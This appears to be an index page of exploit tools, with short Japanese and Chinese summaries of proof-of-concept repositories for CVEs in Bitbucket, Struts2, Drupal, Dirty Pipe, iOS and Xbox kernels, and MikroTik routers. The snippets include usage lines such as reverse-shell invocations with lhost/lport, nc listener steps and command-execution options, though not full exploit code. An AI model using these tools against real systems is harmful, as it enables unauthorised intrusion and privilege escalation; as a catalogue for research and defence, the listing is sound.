CVE-2022-36804-PoC-Exploit

CVE-2022-36804-PoC-Exploit CVE-2022-36804（BitBucket の深刻なコマンドインジェクション）に対する、ある程度信頼性のある PoC エクスプロイトです。この攻撃は通常、公開リポジトリが有効であることを必要としますが、セッションクッキーもこのエクスプロイトで利用可能です。注: このエクスプロイトには自動リポジトリ検出機能が含まれており、自分で公開リポジトリを手動で探す手間を省くことができます。 インストール root@kitploit: git clone...

PoC_iOS12

PoCiOS12 iOS 12からiOS 12.1までのPoCエクスプロイト CVE-2018-4431 カーネルは以下で利用可能: iPhone 5s以降、iPad Air以降、iPod Touch 第6世代。...

redis_exploit

このリポジトリには README がありません。...

CVE-2019-2725

CVE-2019-2725 绕过 提示 使用python3编写，payload请见这里 该payload仅适用于jdk6 利用 用法：exp.py 127.0.0.1:8080 whoami 验证 编辑ip.txt后，程序将检查ip.txt中的IP，测试是否存在漏洞：...

gef

GEF pronounced ʤɛf - "Jeff" is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit...

CVE-2019-11447-EXP

CVE-2019-11447-EXP CuteNews Avatar 2.1.2 リモートコード実行の脆弱性 pythonスクリプトを実行する前に、まずncコマンドを実行してください。デフォルトのポートは1234です。 次にexploit.pyを実行し、ヒントに従って必要な内容を入力してください。...

CVE-2020-0910

CVE-2020-0910 動作するエクスプロイトPoC CVE-2020-0910 - Reverse Bind Shell Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

MikrotikExploit

Mikrotik Exploit RouterOS のパスワードをスキャンしてエクスポート 異なるポートでループ内の IPv4 サブネットをスキャンできます。 インストール python3 のインストール Ubuntu/Debian: root@kitploit: $ apt-get install python3 python3 用の pip をインストール Ubuntu/Debian: root@kitploit: $ apt-get install python3-pip Mac root@kitploit: $ ruby -e "$curl -fsSL...

react2shell-exploit

BURPSUITE用 react2shell-exploit React2Shell: CVE-2025-55182...

K0mraid3s-System-Shell-PREBUILT

K0mraid3s-System-Shell 2019年、後に「CVE-2019-16253」として知られる脆弱性が発見され、これはSamsungのTTSエンジンのバージョン3.0.02.7以前に影響を与えました。このエクスプロイトにより、ローカルの攻撃者が権限をシステム権限に昇格させることができ、後にSamsungによってパッチが適用されました。 基本的に、SamsungのTTSアプリはTTSエンジンから受け取ったデータを盲目的に受け入れていました。TTSエンジンにライブラリを渡すと、それがTTSアプリケーションに渡され、そのライブラリがロードされ、Android上のUID...

CVE-2022-0847-DirtyPipe-Exploits

このリポジトリには README がありません。...

used_sock

usedsock 用于iOS 12-12.2和12.4的内核漏洞利用工具。此工具并非用于越狱。 你可以在这里找到相关分析文章。...

collateral-damage

Collateral Damage Collateral Damage 是一个针对 Xbox SystemOS 的内核漏洞利用，使用了 CVE-2024-30088。 它针对运行内核版本 25398.4478、25398.4908 和 25398.4909 的 Xbox One 和 Xbox Series 主机。初始入口点是 Game Script UWP 应用。 第一阶段载荷、PE 加载器和网络加载器由 Solstice 提供。 此漏洞利用由 Emma Kirkpatrick（漏洞发现与利用）和 Lander Brandt（Solstice）开发。 重要注意事项 要将载荷本地放置到...

traefik-CVE-2024-45410-poc

Shadow Corp CTF チャレンジ Shadow Corp Capture the Flag CTF チャレンジへようこそ！このチャレンジでは、セキュリティヘッダーやHTTPプロキシの動作に関する脆弱性の特定と悪用のスキルをテストします。あなたのミッションは、保護を回避し、Shadow Corp Webアプリケーションに隠された秘密を明らかにすることです。 ストーリー あなたは、秘密のサイバースパイ活動に関与している悪名高い組織Shadow...

Struts2Shell

Struts2Shell 针对 CVE-2017-5638 的漏洞利用（及库） - Apache Struts2 S2-045 漏洞。 安装 root@kitploit: $ npm install -g struts2shell 作为库安装 root@kitploit: $ npm install struts2shell 命令行选项 root@kitploit: -h, --help 输出使用信息 -V, --version 输出版本号 -u, --url target 要攻击的 URL -c, --cmd command 要执行的命令 作为库使用 root@kitploit: va...

dp_crypto

dpcrypto Base64-based encryption oracle exploit for CVE-2017-9248 Telerik UI for ASP.NET AJAX dialog handler Published on exploit-db Update 2020 - Please note that the version on exploit-db is now very out of date compared to the latest version here on GitHub...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 エクスプロイト実装 これは、CVE-2022-0847「Dirty Pipe Exploit」を使用して、外部マシン上で任意のコード実行を行うためのリバースBashシェルを起動する方法を示すPOCです。 この脆弱性はLinuxカーネルバージョン5.8以降にのみ影響しますが、バージョン5.16.11、5.15.25、5.10.102以降で修正されました。カーネルを更新してください : このエクスプロイトはセキュリティ研究者のMax...

CVE-2022-38374

CVE-2022-38374 このリポジトリにはCVE-2022-38374のPoCエクスプロイトが含まれています。...

CVE-2019-11932

CVE-2019-11932 systemのアドレスとgadgetは、情報漏洩の脆弱性で見つかった実際のアドレスに置き換える必要があります。 systemのアドレスとgadgetを置き換えた後、以下のコードを実行して悪意のあるGIFファイルを生成します: root@kitploit: notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39...

CVE-2014-3704

Python 3 へのコード変換 このコードは、"Drupal 7.0 7.31 - 'Drupalgeddon' SQL Injection Add Admin User" から取得したもので、Academy のモジュール「Attacking Common Applications」の「Attacking Drupal」セクションの演習に合わせて Python 3 に変換されました。 元のコードは Python 2 で書かれていましたが、Python 3 で動作するように変換しました。README の構造はこちらからコピーしています。 必要条件 このコードを実行するには、システムに...